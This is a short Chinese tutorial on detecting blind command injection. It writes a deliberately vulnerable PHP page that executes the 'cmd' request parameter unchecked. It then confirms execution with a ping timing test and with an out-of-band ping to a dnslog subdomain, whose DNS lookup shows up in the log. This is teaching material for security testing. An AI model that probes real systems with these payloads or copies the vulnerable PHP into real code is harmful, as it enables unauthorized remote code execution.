命令执行漏洞无回现如何渗透

目录

 编写一段命令执行代码

访问代码

输入执行命令

利用控制台中网络延迟

利用yakit软件

dnslog生成可用域名

尝试ping 命令

查看dnslog软件记录

---

 编写一段命令执行代码

<?php
if (isset($_REQUEST["cmd"])){
    $cmd=$_REQUEST['cmd'];
    `$cmd`;
}else{
    echo"?cmd=whoami";}

?>

 # 隐藏输出回显

访问代码

输入执行命令

输入参数后，没有回显，那命令到底被执行了还是没被执行？有没有命令执行漏洞？

利用控制台中网络延迟

这种方法可以测试但是，没有很强的说服性，可能会被认为网络延迟

?cmd=ping 127.0.0.1

利用yakit软件

也可以利用网页版生成一个dns域名

http://ceye.iohttp://ceye.io/

DNSLog PlatformDNSLog平台http://dnslog.cn/

利用yakit里面的dnslog生成个新的域名，然后利用ping命令测试，查看dnslog日志是否有记录，从而确认命令是否被执行，进一步确定是否存在漏洞

dnslog生成可用域名

尝试ping 命令

?cmd=ping qpmhnefliz.dgrh3.cn

查看dnslog软件记录

验证陈宫，有历史记录代表命令执行成功了，存在漏洞